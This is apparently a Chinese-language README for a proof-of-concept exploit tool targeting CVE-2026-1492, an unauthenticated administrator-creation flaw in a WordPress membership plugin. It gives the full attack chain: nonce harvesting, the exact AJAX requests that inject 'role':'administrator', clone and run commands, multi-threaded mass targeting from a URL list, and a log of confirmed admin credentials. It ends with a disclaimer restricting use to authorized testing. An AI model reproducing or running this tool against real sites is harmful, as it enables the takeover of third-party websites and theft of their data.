User Registration & Membership <= 5.1.2 - 通过会员注册实现未认证权限提升
描述:
用于 WordPress 的 User Registration & Membership 插件在 5.1.2 及之前的所有版本中均存在未认证权限提升漏洞。该漏洞源于 user_registration_membership_register_member AJAX 处理程序在会员注册过程中接受用户提供的 role 值,且未强制执行任何服务端白名单或能力检查。完全未认证的远程攻击者可以构建一条多步骤 AJAX 请求链——首先注册一个新用户账户,然后提交一个在 members_data JSON 载荷中注入 "role": "administrator" 的恶意 register_member 调用——从而静默创建一个拥有完全权限的 WordPress 管理员账户。这会导致受影响的 WordPress 站点被完全攻破,且无需任何用户交互。
这是一个概念验证(PoC)利用脚本,针对运行存在漏洞版本的 User Registration & Membership 插件的 WordPress 站点,实施完整的状态感知攻击链。该工具以智能方式执行多阶段利用,具备自动发现、会员计划提取、nonce 收集、双流程注册、角色注入和管理员验证功能。
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
或通过 requirements 文件安装:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
该工具使用由 Rich 驱动的全交互式终端界面。所有参数均在运行时以提示方式输入。
创建一个纯文本文件(默认为 list.txt),每行一个目标:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
该工具会自动发现并解析:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ 服务器接受来自客户端的
role字段,且不进行任何白名单验证——这正是 CVE-2026-1492 的根本原因。
该工具会开启一个新会话,使用新创建的凭据登录,并探测:
https://target.com/wp-login.php user:Nxploited_A_482910|pass:Nx_12999
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-1492 | User Registration & Membership — Admin PoC ║
║ By: Nxploited | GitHub: github.com/Nxploited | @KNxploited ║
╚══════════════════════════════════════════════════════════════════════╝
[INFO] https://target.com
[OK] https://target.com | REG-A-OK user:Nxploited_A_482910 mem:3
[OK] https://target.com | MEM-A-OK membership A (role=administrator payload) sent
[OK] https://target.com | ADMIN-A user:Nxploited_A_482910 pass:Nx_12999 mem:3
┌─────────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Note │
├─────────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ ADMIN-A │ user:Nxploited_A_482910 ... │
│ https://target2.com │ MEM-B-FAIL │ membership not configured │
│ https://target3.com │ DEAD │ connection error │
└─────────────────────────────────────────────────────────────────────────────┘
本工具仅供教育和授权安全研究目的使用。
作者 Nxploited (Khaled Alenazi) 及本项目的所有贡献者不赞同、不支持,也不承担任何责任,对于滥用本工具或将其用于未经明确书面授权的系统所造成的任何损害概不负责。
- ✅ 允许: 在您拥有或已获得明确书面许可可进行测试的系统上使用。
- ❌ 禁止: 未经系统所有者事先明确书面授权,不得针对任何系统使用。
未经授权访问计算机系统属于违法行为,将根据适用法律受到处罚,包括但不限于《计算机欺诈和滥用法》(CFAA)、《计算机滥用法》(CMA)以及世界各地的同等法律。
使用本工具即表示您对自己的行为承担全部责任,并确认您拥有测试目标系统的合法权限。
对于因使用或滥用本软件而造成的任何直接、间接、偶然或后果性损害,作者不承担任何责任。
© 2026 Nxploited (Khaled Alenazi) — 仅限授权安全研究使用。
| 字段 | 详情 |
|---|
| CVE ID | CVE-2026-1492 |
| 严重性 | 严重 — CVSS v3.1 评分:9.8 |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 受影响软件 | User Registration & Membership — 适用于 WordPress 的自定义注册表单构建器、自定义登录表单、用户个人资料、内容限制与会员插件 |
| 受影响版本 | 5.1.2 及之前的所有版本 |
| 漏洞类型 | 权限管理不当 — 未认证管理员账户创建 |
| 认证要求 | 无 |
| CWE | CWE-269: 权限管理不当 |
| 目标 | 提取内容 |
|---|
/membership-pricing/ | 会员计划 ID、注册页面链接 |
/registration/ | 表单字段、nonce、AJAX URL、会员单选输入 |
user_registration_params JS 对象 | ajax_url、security nonce、表单元数据 |
ur_membership_frontend_localized_data | 会员专用 nonce、AJAX 端点 |
| 端点 | 检查指标 |
|---|
/wp-admin/ | adminmenu、wp-admin-bar、manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin、plugin-install-tab |
| 文件 | 说明 |
|---|
Nx_admin.txt | ✅ 已确认的管理员账户 |
membership_success_log.txt | 所有成功的会员角色注入调用 |
discovery_log.txt | 每个目标的完整发现数据(nonce、ID、字段) |
registration_log.txt | 所有注册 AJAX 请求与响应 |
membership_log.txt | 所有会员 AJAX 请求与响应 |
admin_check_log.txt | 登录尝试与管理员验证结果 |
| 状态 | 颜色 | 含义 |
|---|
ADMIN-A / ADMIN-B | 🟢 绿色 | 管理员已确认 — 流程 A 或 B |
ADMIN-A-OVERRIDE | 🟢 绿色 | 覆盖尝试后已确认管理员 |
REG-A-FAIL / REG-B-FAIL | 🟡 黄色 | 注册 AJAX 返回失败 |
MEM-A-FAIL / MEM-B-FAIL | 🟣 品红 | 会员角色注入调用失败 |
REG-PENDING-A/B | ⚫ 深色 | 账户需要邮箱验证或管理员审批 |
NO-MEM-ID | ⚫ 深色 | 目标上未找到会员计划 ID |
NO-UR-NONCE | ⚫ 深色 | 无法提取注册 nonce |
NO-ADMIN | ⚫ 深色 | 会员调用成功但未确认管理员访问权限 |
TIMEOUT | ⚫ 深色 | HTTP 超时 |
DEAD | ⚫ 深色 | 连接错误 — 站点不可达 |
ERROR | 🔴 红色 | 意外异常 |